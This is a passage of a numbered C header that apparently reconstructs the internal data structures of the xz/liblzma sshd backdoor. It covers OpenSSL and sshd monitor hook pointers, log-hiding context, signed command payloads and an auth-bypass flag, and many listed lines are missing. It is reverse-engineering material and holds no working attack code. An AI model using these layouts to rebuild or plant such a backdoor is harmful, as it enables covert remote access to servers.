999  unsigned char *sigret, unsigned int *siglen, RSA *rsa);
1000  int (*BN_bn2bin)(const BIGNUM *a, unsigned char *to);
1001  void (*RSA_free)(RSA *rsa);
1002  void (*BN_free)(BIGNUM *a);
1003  libc_imports_t *libc;
1004  u32 resolved_imports_count;
1005  PADDING(4);
1007 
1008 assert_offset(imported_funcs_t, RSA_public_decrypt, 0);
1009 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA, 8);
1010 assert_offset(imported_funcs_t, RSA_get0_key_null, 0x10);
1011 assert_offset(imported_funcs_t, RSA_public_decrypt_plt, 0x18);
1012 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA_plt, 0x20);
1013 assert_offset(imported_funcs_t, RSA_get0_key_plt, 0x28);
1014 assert_offset(imported_funcs_t, DSA_get0_pqg, 0x30);
1015 assert_offset(imported_funcs_t, DSA_get0_pub_key, 0x38);
1016 assert_offset(imported_funcs_t, EC_POINT_point2oct, 0x40);
1017 assert_offset(imported_funcs_t, EC_KEY_get0_public_key, 0x48);
1018 assert_offset(imported_funcs_t, EC_KEY_get0_group, 0x50);
1019 assert_offset(imported_funcs_t, EVP_sha256, 0x58);
1020 assert_offset(imported_funcs_t, RSA_get0_key, 0x60);
1021 assert_offset(imported_funcs_t, BN_num_bits, 0x68);
1022 assert_offset(imported_funcs_t, EVP_PKEY_new_raw_public_key, 0x70);
1023 assert_offset(imported_funcs_t, EVP_MD_CTX_new, 0x78);
1024 assert_offset(imported_funcs_t, EVP_DigestVerifyInit, 0x80);
1025 assert_offset(imported_funcs_t, EVP_DigestVerify, 0x88);
1026 assert_offset(imported_funcs_t, EVP_MD_CTX_free, 0x90);
1027 assert_offset(imported_funcs_t, EVP_PKEY_free, 0x98);
1028 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_new, 0xA0);
1029 assert_offset(imported_funcs_t, EVP_DecryptInit_ex, 0xA8);
1030 assert_offset(imported_funcs_t, EVP_DecryptUpdate, 0xB0);
1031 assert_offset(imported_funcs_t, EVP_DecryptFinal_ex, 0xB8);
1032 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_free, 0xC0);
1033 assert_offset(imported_funcs_t, EVP_chacha20, 0xC8);
1034 assert_offset(imported_funcs_t, RSA_new, 0xD0);
1035 assert_offset(imported_funcs_t, BN_dup, 0xD8);
1036 assert_offset(imported_funcs_t, BN_bin2bn, 0xE0);
1037 assert_offset(imported_funcs_t, RSA_set0_key, 0xE8);
1038 assert_offset(imported_funcs_t, EVP_Digest, 0xF0);
1039 assert_offset(imported_funcs_t, RSA_sign, 0xF8);
1040 assert_offset(imported_funcs_t, BN_bn2bin, 0x100);
1041 assert_offset(imported_funcs_t, RSA_free, 0x108);
1042 assert_offset(imported_funcs_t, BN_free, 0x110);
1043 assert_offset(imported_funcs_t, libc, 0x118);
1044 assert_offset(imported_funcs_t, resolved_imports_count, 0x120);
1045 static_assert(sizeof(imported_funcs_t) == 0x128);
1046 
1047 struct ssh;
1048 struct sshbuf;
1049 
1050 typedef int (*sshd_monitor_func_t)(struct ssh *ssh, int sock, struct sshbuf *m);
1051 
1052 typedef struct __attribute__((packed)) sshd_ctx {
1053  BOOL have_mm_answer_keyallowed;
1054  BOOL have_mm_answer_authpassword;
1055  BOOL have_mm_answer_keyverify;
1056  PADDING(0x4);
1057  sshd_monitor_func_t mm_answer_authpassword_hook;
1058  void *mm_answer_keyallowed;
1059  void *mm_answer_keyverify;
1060  void *mm_answer_authpassword_start;
1061  void *mm_answer_authpassword_end;
1062  sshd_monitor_func_t *mm_answer_authpassword_ptr;
1063  int monitor_reqtype_authpassword;
1064  PADDING(4);
1065  void *mm_answer_keyallowed_start;
1066  void *mm_answer_keyallowed_end;
1067  void *mm_answer_keyallowed_ptr;
1068  u32 mm_answer_keyallowed_reqtype;
1069  PADDING(4);
1070  void *mm_answer_keyverify_start;
1071  void *mm_answer_keyverify_end;
1072  void *mm_answer_keyverify_ptr;
1073  PADDING(0x4);
1074  u16 writebuf_size;
1075  PADDING(0x2);
1076  u8 *writebuf;
1077  PADDING(0x8);
1078  PADDING(0x8);
1079  char *STR_unknown_ptr;
1080  void *mm_request_send_start;
1081  void *mm_request_send_end;
1082  PADDING(sizeof(u32)); // BOOL?
1083  PADDING(sizeof(u32)); // BOOL?
1084  int *use_pam_ptr;
1085  int *permit_root_login_ptr;
1086  char *STR_without_password;
1087  char *STR_publickey;
1088 } sshd_ctx_t;
1089 
1090 assert_offset(sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
1091 assert_offset(sshd_ctx_t, have_mm_answer_authpassword, 0x4);
1092 assert_offset(sshd_ctx_t, have_mm_answer_keyverify, 0x8);
1093 assert_offset(sshd_ctx_t, mm_answer_authpassword_hook, 0x10);
1094 assert_offset(sshd_ctx_t, mm_answer_keyallowed, 0x18);
1095 assert_offset(sshd_ctx_t, mm_answer_keyverify, 0x20);
1096 assert_offset(sshd_ctx_t, mm_answer_authpassword_start, 0x28);
1097 assert_offset(sshd_ctx_t, mm_answer_authpassword_end, 0x30);
1098 assert_offset(sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
1099 assert_offset(sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
1100 assert_offset(sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
1101 assert_offset(sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
1102 assert_offset(sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
1103 assert_offset(sshd_ctx_t, mm_answer_keyallowed_reqtype, 0x60);
1104 assert_offset(sshd_ctx_t, mm_answer_keyverify_start, 0x68);
1105 assert_offset(sshd_ctx_t, mm_answer_keyverify_end, 0x70);
1106 assert_offset(sshd_ctx_t, mm_answer_keyverify_ptr, 0x78);
1107 assert_offset(sshd_ctx_t, writebuf_size, 0x84);
1108 assert_offset(sshd_ctx_t, writebuf, 0x88);
1109 assert_offset(sshd_ctx_t, STR_unknown_ptr, 0xA0);
1110 assert_offset(sshd_ctx_t, mm_request_send_start, 0xA8);
1111 assert_offset(sshd_ctx_t, mm_request_send_end, 0xB0);
1112 assert_offset(sshd_ctx_t, use_pam_ptr, 0xC0);
1113 assert_offset(sshd_ctx_t, permit_root_login_ptr, 0xC8);
1114 assert_offset(sshd_ctx_t, STR_without_password, 0xD0);
1115 assert_offset(sshd_ctx_t, STR_publickey, 0xD8);
1116 
1117 typedef enum {
1118  SYSLOG_LEVEL_QUIET,
1119  SYSLOG_LEVEL_FATAL,
1120  SYSLOG_LEVEL_ERROR,
1121  SYSLOG_LEVEL_INFO,
1122  SYSLOG_LEVEL_VERBOSE,
1123  SYSLOG_LEVEL_DEBUG1,
1124  SYSLOG_LEVEL_DEBUG2,
1125  SYSLOG_LEVEL_DEBUG3,
1126  SYSLOG_LEVEL_NOT_SET = -1
1127 } LogLevel;
1128 
1129 typedef void (*log_handler_fn)(
1130  LogLevel level,
1131  int forced,
1132  const char *msg,
1133  void *ctx);
1134 
1135 typedef struct __attribute__((packed)) sshd_log_ctx {
1136  BOOL logging_disabled;
1137  BOOL log_hooking_possible;
1138  BOOL syslog_disabled;
1139  PADDING(4);
1140  char *STR_percent_s;
1141  char *STR_Connection_closed_by;
1142  char *STR_preauth;
1143  char *STR_authenticating;
1144  char *STR_user;
1145  // Note: initially the two pointers may be swapped around.
1146  // sshd_configure_log_hook will ensure they're corrected if needed.
1147  void *log_handler_ptr;
1148  void *log_handler_ctx_ptr;
1149  log_handler_fn orig_log_handler;
1150  void *orig_log_handler_ctx;
1151  void *sshlogv;
1152  void (*mm_log_handler)(int level, int forced, const char *msg, void *ctx);
1153 } sshd_log_ctx_t;
1154 
1155 assert_offset(sshd_log_ctx_t, logging_disabled, 0x0);
1156 assert_offset(sshd_log_ctx_t, log_hooking_possible, 0x4);
1157 assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
1158 assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
1159 assert_offset(sshd_log_ctx_t, STR_percent_s, 0x10);
1160 assert_offset(sshd_log_ctx_t, STR_Connection_closed_by, 0x18);
1161 assert_offset(sshd_log_ctx_t, STR_preauth, 0x20);
1162 assert_offset(sshd_log_ctx_t, STR_authenticating, 0x28);
1163 assert_offset(sshd_log_ctx_t, STR_user, 0x30);
1164 assert_offset(sshd_log_ctx_t, log_handler_ptr, 0x38);
1165 assert_offset(sshd_log_ctx_t, log_handler_ctx_ptr, 0x40);
1166 assert_offset(sshd_log_ctx_t, orig_log_handler, 0x48);
1167 assert_offset(sshd_log_ctx_t, orig_log_handler_ctx, 0x50);
1168 assert_offset(sshd_log_ctx_t, sshlogv, 0x58);
1169 assert_offset(sshd_log_ctx_t, mm_log_handler, 0x60);
1170 static_assert(sizeof(sshd_log_ctx_t) == 0x68);
1171 
1172 typedef union __attribute__((packed)) sshd_offsets_kex {
1173  struct __attribute__((packed)) {
1174  u8 kex_qword_index;
1175  u8 pkex_offset;
1176  };
1177  u16 value;
1179 
1180 typedef union __attribute__((packed)) sshd_offsets_sshbuf {
1181  struct __attribute__((packed)) {
1182  u8 sshbuf_data_qword_index;
1183  u8 sshbuf_size_qword_index;
1184  };
1185  u16 value;
1187 
1188 typedef struct __attribute__((packed)) sshd_offsets_fields {
1189  sshd_offsets_kex_t kex;
1190  sshd_offsets_sshbuf_t sshbuf;
1192 
1193 typedef struct __attribute__((packed)) sshd_offsets {
1194  union {
1195  struct {
1196  union {
1197  sshd_offsets_fields_t fields;
1198  u32 value;
1199  };
1200  };
1201  u32 raw_value;
1202  };
1203 } sshd_offsets_t;
1204 
1205 typedef struct __attribute__((packed)) sshd_payload_ctx {
1207 
1208 typedef struct __attribute__((packed)) global_context {
1209  BOOL uses_endbr64;
1210  PADDING(4);
1229  PADDING(4);
1231  struct sensitive_data *sshd_sensitive_data;
1241  struct monitor **struct_monitor_ptr_address;
1242  u32 exit_flag;
1244 
1261  void *sshd_main;
1276  u32 uid;
1277  PADDING(4);
1278  u64 sock_read_buf_size;
1279  u8 sock_read_buf[64];
1280  u64 payload_data_size;
1281  u64 digest_offset;
1282  // signed data (size payload_data_size)
1283  u8 *payload_data;
1285  u32 sshd_host_pubkey_idx;
1286  u32 payload_state;
1290  u8 secret_data[ED448_KEY_SIZE];
1296  u8 shift_operations[31];
1301  PADDING(4);
1303 
1304 assert_offset(global_context_t, uses_endbr64, 0x0);
1305 assert_offset(global_context_t, imported_funcs, 0x8);
1306 assert_offset(global_context_t, libc_imports, 0x10);
1307 assert_offset(global_context_t, disable_backdoor, 0x18);
1308 assert_offset(global_context_t, sshd_ctx, 0x20);
1309 assert_offset(global_context_t, sshd_sensitive_data, 0x28);
1310 assert_offset(global_context_t, sshd_log_ctx, 0x30);
1311 assert_offset(global_context_t, STR_ssh_rsa_cert_v01_openssh_com, 0x38);
1312 assert_offset(global_context_t, STR_rsa_sha2_256, 0x40);
1313 assert_offset(global_context_t, struct_monitor_ptr_address, 0x48);
1314 assert_offset(global_context_t, exit_flag, 0x50);
1315 assert_offset(global_context_t, sshd_offsets, 0x54);
1316 assert_offset(global_context_t, sshd_code_start, 0x58);
1317 assert_offset(global_context_t, sshd_code_end, 0x60);
1318 assert_offset(global_context_t, sshd_data_start, 0x68);
1319 assert_offset(global_context_t, sshd_data_end, 0x70);
1320 assert_offset(global_context_t, lzma_code_start, 0x80);
1321 assert_offset(global_context_t, lzma_code_end, 0x88);
1322 assert_offset(global_context_t, uid, 0x90);
1323 assert_offset(global_context_t, sock_read_buf_size, 0x98);
1324 assert_offset(global_context_t, sock_read_buf, 0xA0);
1325 assert_offset(global_context_t, payload_data_size, 0xE0);
1326 assert_offset(global_context_t, digest_offset, 0xE8);
1327 assert_offset(global_context_t, payload_data, 0xF0);
1328 assert_offset(global_context_t, sshd_payload_ctx, 0xF8);
1329 assert_offset(global_context_t, sshd_host_pubkey_idx, 0x100);
1330 assert_offset(global_context_t, payload_state, 0x104);
1331 assert_offset(global_context_t, secret_data, 0x108);
1332 assert_offset(global_context_t, shift_operations, 0x141);
1333 assert_offset(global_context_t, num_shifted_bits, 0x160);
1334 static_assert(sizeof(global_context_t) == 0x168);
1335 
1336 typedef struct __attribute__((packed)) backdoor_shared_globals {
1337  sshd_monitor_func_t mm_answer_authpassword_hook;
1341  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
1342  global_context_t **globals;
1344 
1346 assert_offset(backdoor_shared_globals_t, hook_EVP_PKEY_set1_RSA, 0x8);
1347 assert_offset(backdoor_shared_globals_t, globals, 0x10);
1348 static_assert(sizeof(backdoor_shared_globals_t) == 0x18);
1349 
1350 typedef struct __attribute__((packed)) ldso_ctx {
1351  PADDING(0x40);
1368  PADDING(0x4);
1385  PADDING(0x4);
1402  PADDING(0x7);
1420  unsigned int *_dl_naudit_ptr;
1429  struct audit_ifaces hooked_audit_ifaces;
1430  PADDING(0x30);
1444  void (*_dl_audit_symbind_alt)(struct link_map *l, const ElfW(Sym) *ref, void **value, lookup_t result);
1454  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
1460  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
1465  pfn_RSA_get0_key_t hook_RSA_get0_key;
1467  u64 hooks_installed;
1468 } ldso_ctx_t;
1469 
1470 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
1471 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
1472 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
1473 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
1474 assert_offset(ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
1475 assert_offset(ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
1476 assert_offset(ldso_ctx_t, _dl_audit_ptr, 0x70);
1477 assert_offset(ldso_ctx_t, _dl_naudit_ptr, 0x78);
1478 assert_offset(ldso_ctx_t, hooked_audit_ifaces, 0x80);
1479 static_assert(sizeof(struct audit_ifaces) == 0x48);
1480 assert_offset(ldso_ctx_t, libcrypto_l_name, 0xF8);
1481 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
1482 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
1483 assert_offset(ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
1484 assert_offset(ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
1485 assert_offset(ldso_ctx_t, hook_RSA_get0_key, 0x120);
1486 assert_offset(ldso_ctx_t, imported_funcs, 0x128);
1487 assert_offset(ldso_ctx_t, hooks_installed, 0x130);
1488 static_assert(sizeof(ldso_ctx_t) == 0x138);
1489 
1490 
1491 typedef struct __attribute__((packed)) backdoor_hooks_data {
1493  global_context_t global_ctx;
1498  u64 signed_data_size;
1499  u8 signed_data;
1501 
1502 assert_offset(backdoor_hooks_data_t, ldso_ctx, 0);
1503 assert_offset(backdoor_hooks_data_t, global_ctx, 0x138);
1504 assert_offset(backdoor_hooks_data_t, imported_funcs, 0x2A0);
1505 assert_offset(backdoor_hooks_data_t, sshd_ctx, 0x3C8);
1506 assert_offset(backdoor_hooks_data_t, libc_imports, 0x4A8);
1507 assert_offset(backdoor_hooks_data_t, sshd_log_ctx, 0x518);
1508 assert_offset(backdoor_hooks_data_t, signed_data_size, 0x580);
1509 assert_offset(backdoor_hooks_data_t, signed_data, 0x588);
1510 static_assert(sizeof(backdoor_hooks_data_t) >= 0x589);
1511 
1512 typedef struct __attribute__((packed)) backdoor_hooks_ctx {
1513  PADDING(0x30);
1514  backdoor_shared_globals_t *shared;
1516  uintptr_t (*symbind64)(
1517  Elf64_Sym *sym, unsigned int ndx,
1518  uptr *refcook, uptr *defcook,
1519  unsigned int flags, const char *symname);
1520  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
1521  pfn_RSA_get0_key_t hook_RSA_get0_key;
1522  log_handler_fn mm_log_handler;
1523  PADDING(sizeof(void *));
1524  PADDING(sizeof(void *));
1525  sshd_monitor_func_t mm_answer_keyallowed;
1526  sshd_monitor_func_t mm_answer_keyverify;
1527  PADDING(sizeof(void *));
1529 
1530 assert_offset(backdoor_hooks_ctx_t, shared, 0x30);
1531 assert_offset(backdoor_hooks_ctx_t, hooks_data_addr, 0x38);
1532 assert_offset(backdoor_hooks_ctx_t, symbind64, 0x40);
1533 assert_offset(backdoor_hooks_ctx_t, hook_RSA_public_decrypt, 0x48);
1534 assert_offset(backdoor_hooks_ctx_t, hook_RSA_get0_key, 0x50);
1535 assert_offset(backdoor_hooks_ctx_t, mm_log_handler, 0x58);
1536 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyallowed, 0x70);
1537 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyverify, 0x78);
1538 static_assert(sizeof(backdoor_hooks_ctx_t) == 0x88);
1539 
1540 typedef struct __attribute__((packed)) backdoor_setup_params {
1541  PADDING(0x8);
1542  backdoor_shared_globals_t *shared;
1543  backdoor_hooks_ctx_t *hook_params;
1544  lzma_check_state dummy_check_state;
1545  elf_entry_ctx_t *entry_ctx;
1547 
1548 assert_offset(backdoor_setup_params_t, shared, 0x8);
1549 assert_offset(backdoor_setup_params_t, hook_params, 0x10);
1550 assert_offset(backdoor_setup_params_t, entry_ctx, 0x80);
1551 static_assert(sizeof(backdoor_setup_params_t) == 0x88);
1552 
1557 typedef struct __attribute__((packed)) elf_handles {
1569  elf_info_t *libc;
1570  elf_info_t *liblzma;
1571  elf_info_t *libcrypto;
1573 
1574 assert_offset(elf_handles_t, main, 0x0);
1575 assert_offset(elf_handles_t, dynamic_linker, 0x8);
1576 assert_offset(elf_handles_t, libc, 0x10);
1577 assert_offset(elf_handles_t, liblzma, 0x18);
1578 assert_offset(elf_handles_t, libcrypto, 0x20);
1579 static_assert(sizeof(elf_handles_t) == 0x28);
1580 
1581 typedef struct __attribute__((packed)) main_elf {
1583  Elf64_Ehdr *dynamic_linker_ehdr;
1584  void **__libc_stack_end;
1585 } main_elf_t;
1586 
1587 assert_offset(main_elf_t, elf_handles, 0x0);
1588 assert_offset(main_elf_t, dynamic_linker_ehdr, 0x8);
1589 assert_offset(main_elf_t, __libc_stack_end, 0x10);
1590 static_assert(sizeof(main_elf_t) == 0x18);
1591 
1592 typedef struct backdoor_data backdoor_data_t;
1593 
1597 typedef struct __attribute__((packed)) backdoor_data_handle {
1598  backdoor_data_t *data;
1601 
1602 assert_offset(backdoor_data_handle_t, data, 0x0);
1603 assert_offset(backdoor_data_handle_t, elf_handles, 0x8);
1604 
1605 typedef struct __attribute__((packed)) string_item {
1609  EncodedStringId string_id;
1610  PADDING(4);
1614  void *func_start;
1618  void *func_end;
1622  void *xref;
1623 } string_item_t;
1624 
1625 assert_offset(string_item_t, string_id, 0);
1626 assert_offset(string_item_t, func_start, 0x8);
1627 assert_offset(string_item_t, func_end, 0x10);
1628 assert_offset(string_item_t, xref, 0x18);
1629 static_assert(sizeof(string_item_t) == 0x20);
1630 
1631 typedef struct __attribute__((packed)) string_references {
1632  string_item_t entries[27];
1634 
1635 assert_offset(string_references_t, entries, 0);
1636 static_assert(sizeof(string_references_t) == 0x360);
1637 
1642 typedef struct __attribute__((packed)) backdoor_data {
1647  struct link_map *main_map;
1652  struct link_map *dynamic_linker_map;
1653  struct link_map *liblzma_map;
1654  struct link_map *libcrypto_map;
1655  struct link_map *libsystemd_map;
1656  struct link_map *libc_map;
1657 
1659 
1660  backdoor_data_handle_t data_handle;
1661 
1678  elf_info_t liblzma_info;
1683 
1693  lzma_allocator fake_allocator;
1697  lzma_allocator *import_resolver;
1698 } backdoor_data_t;
1699 
1700 assert_offset(backdoor_data_t, main_map, 0);
1701 assert_offset(backdoor_data_t, dynamic_linker_map, 0x8);
1702 assert_offset(backdoor_data_t, liblzma_map, 0x10);
1703 assert_offset(backdoor_data_t, libcrypto_map, 0x18);
1704 assert_offset(backdoor_data_t, libsystemd_map, 0x20);
1705 assert_offset(backdoor_data_t, libc_map, 0x28);
1706 assert_offset(backdoor_data_t, elf_handles, 0x30);
1707 assert_offset(backdoor_data_t, data_handle, 0x58);
1708 assert_offset(backdoor_data_t, main_info, 0x68);
1709 assert_offset(backdoor_data_t, dynamic_linker_info, 0x168);
1710 assert_offset(backdoor_data_t, libc_info, 0x268);
1711 assert_offset(backdoor_data_t, liblzma_info, 0x368);
1712 assert_offset(backdoor_data_t, libcrypto_info, 0x468);
1713 assert_offset(backdoor_data_t, libc_imports, 0x568);
1714 assert_offset(backdoor_data_t, string_refs, 0x5D8);
1715 assert_offset(backdoor_data_t, fake_allocator, 0x938);
1716 assert_offset(backdoor_data_t, import_resolver, 0x950);
1717 static_assert(sizeof(backdoor_data_t) == 0x958);
1718 
1719 typedef struct __attribute__((packed)) backdoor_shared_libraries_data {
1720  backdoor_data_t *data;
1740 
1741 assert_offset(backdoor_shared_libraries_data_t, data, 0x0);
1742 assert_offset(backdoor_shared_libraries_data_t, elf_handles, 0x8);
1743 assert_offset(backdoor_shared_libraries_data_t, RSA_public_decrypt_plt, 0x10);
1744 assert_offset(backdoor_shared_libraries_data_t, EVP_PKEY_set1_RSA_plt, 0x18);
1745 assert_offset(backdoor_shared_libraries_data_t, RSA_get0_key_plt, 0x20);
1747 assert_offset(backdoor_shared_libraries_data_t, libc_imports, 0x30);
1748 
1755 typedef union {
1757  u32 index;
1758  struct {
1760  u32 bit_index : 3;
1762  u32 byte_index : 29;
1763  };
1765 
1766 typedef struct __attribute__((packed)) secret_data_item {
1767  u8 *code;
1768  secret_data_shift_cursor_t shift_cursor;
1769  u32 operation_index;
1770  u32 shift_count;
1771  u32 index;
1773 
1774 assert_offset(secret_data_item_t, code, 0x0);
1775 assert_offset(secret_data_item_t, shift_cursor, 0x8);
1776 assert_offset(secret_data_item_t, operation_index, 0xC);
1777 assert_offset(secret_data_item_t, shift_count, 0x10);
1778 assert_offset(secret_data_item_t, index, 0x14);
1779 static_assert(sizeof(secret_data_item_t) == 0x18);
1780 
1786 typedef struct __attribute__((packed)) key_payload_hdr {
1787  u32 field_a;
1788  u32 field_b;
1789  u64 field_c;
1791 
1792 typedef union __attribute__((packed)) {
1793  u8 value[2];
1794  u16 size;
1796 
1797 typedef struct __attribute__((packed)) cmd_arguments {
1798  u8 flags1;
1799  u8 flags2;
1800  u8 flags3;
1802 } cmd_arguments_t;
1803 
1804 typedef struct __attribute__((packed)) key_payload_body {
1806  u8 signature[ED448_SIGNATURE_SIZE];
1807  cmd_arguments_t args;
1808  u8 data[0x1A1];
1810 
1811 assert_offset(key_payload_body_t, args, 0x72);
1812 
1818 typedef struct __attribute__((packed)) key_payload {
1819  key_payload_hdr_t header;
1820  key_payload_body_t body;
1822 static_assert(sizeof(key_payload_t) == 0x228);
1823 
1824 #define TEST_FLAG(x, flag) (((x) & (flag)) != 0)
1825 
1847 };
1848 
1863  X_FLAGS2_AUTH_BYPASS = 0x4,
1874 
1880  X_FLAGS2_SOCKFD_MASK = 0x78
1881 };
1882 
1892 };
1893 
1894 assert_offset(cmd_arguments_t, flags1, 0);
1895 assert_offset(cmd_arguments_t, flags2, 1);
1896 assert_offset(cmd_arguments_t, flags3, 2);
1897 assert_offset(cmd_arguments_t, u, 3);
1898 static_assert(sizeof(cmd_arguments_t) == 0x5);
1899 
1900 typedef struct __attribute__((packed)) key_ctx {
1901  const BIGNUM *rsa_n;
1902  const BIGNUM *rsa_e;
1903  cmd_arguments_t args;
1904  key_payload_t payload;
1905  PADDING(CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE);
1906  u8 ivec[CHACHA20_IV_SIZE];
1907  u8 ed448_key[ED448_KEY_SIZE];
1908  PADDING(2);
1909 } key_ctx_t;
1910 
1911 assert_offset(key_ctx_t, rsa_n, 0);
1912 assert_offset(key_ctx_t, rsa_e, 0x8);
1913 assert_offset(key_ctx_t, args, 0x10);
1914 assert_offset(key_ctx_t, payload, 0x15);
1915 assert_offset(key_ctx_t, ivec, 0x26D);
1916 assert_offset(key_ctx_t, ed448_key, 0x27D);
1917 
1922 typedef struct __attribute__((packed)) monitor_data {
1923  u32 cmd_type;
1924  PADDING(4);
1925  cmd_arguments_t *args;
1926  const BIGNUM *rsa_n;
1927  const BIGNUM *rsa_e;
1928  u8 *payload_body;
1929  u16 payload_body_size;
1930  PADDING(6);
1931  RSA *rsa;
1933 
1934 assert_offset(monitor_data_t, cmd_type, 0);
1935 assert_offset(monitor_data_t, args, 0x8);
1936 assert_offset(monitor_data_t, rsa_n, 0x10);
1937 assert_offset(monitor_data_t, rsa_e, 0x18);
1938 assert_offset(monitor_data_t, payload_body, 0x20);
1939 assert_offset(monitor_data_t, payload_body_size, 0x28);
1940 assert_offset(monitor_data_t, rsa, 0x30);
1941 
1946 typedef union __attribute__((packed)) backdoor_runtime_data {
1947 #ifndef XZRE_SLIM
1948  struct timespec timespec;
1949  fd_set fd_set;
1950 #endif
1952  u8 data[608];
1954 
1959 typedef struct __attribute__((packed)) run_backdoor_commands_data {
1960  u64 body_size;
1961  BOOL *p_do_orig;
1962  u64 payload_size;
1963  u64 hostkey_hash_offset;
1964  RSA *rsa;
1965  u8 *payload_data_ptr;
1966  u8 *ed448_key_ptr;
1967  u64 num_keys;
1968  PADDING(4);
1969  u32 key_cur_idx;
1970  u64 key_prev_idx;
1971  PADDING(7);
1972  u8 unk57;
1973  union {
1974  struct __attribute__((packed)) {
1975  int socket_fd;
1976  u32 fd_recv_size;
1977  u8 fd_recv_buf[64];
1978  } sock;
1979  struct __attribute__((packed)) {
1980  u64 num_host_keys;
1981  u64 num_host_pubkeys;
1982  u8 ed448_key[ED448_KEY_SIZE];
1983  } keys;
1984  } u;
1985  PADDING(7);
1987  key_ctx_t kctx;
1989 
1990 assert_offset(run_backdoor_commands_data_t, body_size, 0);
1991 assert_offset(run_backdoor_commands_data_t, p_do_orig, 8);
1992 assert_offset(run_backdoor_commands_data_t, payload_size, 0x10);
1993 assert_offset(run_backdoor_commands_data_t, hostkey_hash_offset, 0x18);
1994 assert_offset(run_backdoor_commands_data_t, rsa, 0x20);
1995 assert_offset(run_backdoor_commands_data_t, ed448_key_ptr, 0x30);
1996 assert_offset(run_backdoor_commands_data_t, num_keys, 0x38);
1997 assert_offset(run_backdoor_commands_data_t, key_cur_idx, 0x44);
1998 assert_offset(run_backdoor_commands_data_t, key_prev_idx, 0x48);
1999 assert_offset(run_backdoor_commands_data_t, unk57, 0x57);
2000 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_keys, 0x58);
2001 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_pubkeys, 0x60);
2002 assert_offset(run_backdoor_commands_data_t, u.keys.ed448_key, 0x68);
2003 assert_offset(run_backdoor_commands_data_t, data, 0xA8);
2004 assert_offset(run_backdoor_commands_data_t, kctx, 0x308);
2005 
2006 
2007 typedef struct __attribute__((packed)) backdoor_cpuid_reloc_consts {
2027 
2028 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_random_symbol_got_offset, 0);
2029 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_got_index, 0x8);
2030 assert_offset(backdoor_cpuid_reloc_consts_t, backdoor_init_stage2_got_offset, 0x10);
2031 static_assert(sizeof(backdoor_cpuid_reloc_consts_t) == 0x18);
2032 
2033 typedef struct __attribute__((packed)) backdoor_tls_get_addr_reloc_consts {
2047 
2048 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_plt_offset, 0);
2049 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_random_symbol_got_offset, 0x8);
2050 static_assert(sizeof(backdoor_tls_get_addr_reloc_consts_t) == 0x10);
2051 
2052 typedef struct __attribute__((packed)) elf_functions {
2053  PADDING(sizeof(u64));
2059  int (*init_hook_functions)(backdoor_hooks_ctx_t *funcs);
2060  PADDING(sizeof(u64));
2061  PADDING(sizeof(u64));
2067  void *(*elf_symbol_get_addr)(elf_info_t *elf_info, EncodedStringId encoded_string_id);
2068  PADDING(sizeof(u64));
2074  BOOL (*elf_parse)(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
2075 } elf_functions_t;
2076 
2077 assert_offset(elf_functions_t, init_hook_functions, 0x8);
2078 assert_offset(elf_functions_t, elf_symbol_get_addr, 0x20);
2079 assert_offset(elf_functions_t, elf_parse, 0x30);
2080 static_assert(sizeof(elf_functions_t) == 0x38);
2081 
2082 typedef struct __attribute__((packed)) fake_lzma_allocator {
2083  PADDING(sizeof(u64));
2084  lzma_allocator allocator;
2086 
2087 assert_offset(fake_lzma_allocator_t, allocator.alloc, 0x8);
2088 assert_offset(fake_lzma_allocator_t, allocator.free, 0x10);
2089 assert_offset(fake_lzma_allocator_t, allocator.opaque, 0x18);
2090 static_assert(sizeof(fake_lzma_allocator_t) == 0x20);
2091 
2092 typedef struct __attribute__((packed)) instruction_search_ctx
2093 {
2114  u8 *output_register; // TODO unknown
2119  BOOL result;
2120  PADDING(0x4);
2121  backdoor_hooks_data_t *hooks;
2124 
2125 assert_offset(instruction_search_ctx_t, start_addr, 0);
2126 assert_offset(instruction_search_ctx_t, end_addr, 0x8);
2127 assert_offset(instruction_search_ctx_t, offset_to_match, 0x10);
2128 assert_offset(instruction_search_ctx_t, output_register_to_match, 0x18);
2129 assert_offset(instruction_search_ctx_t, output_register, 0x20);
2130 assert_offset(instruction_search_ctx_t, result, 0x28);
2131 assert_offset(instruction_search_ctx_t, hooks, 0x30);
2132 assert_offset(instruction_search_ctx_t, imported_funcs, 0x38);
2133 static_assert(sizeof(instruction_search_ctx_t) == 0x40);
2134 
2135 
2154 
2163 extern BOOL x86_dasm(dasm_ctx_t *ctx, u8 *code_start, u8 *code_end);
2164 
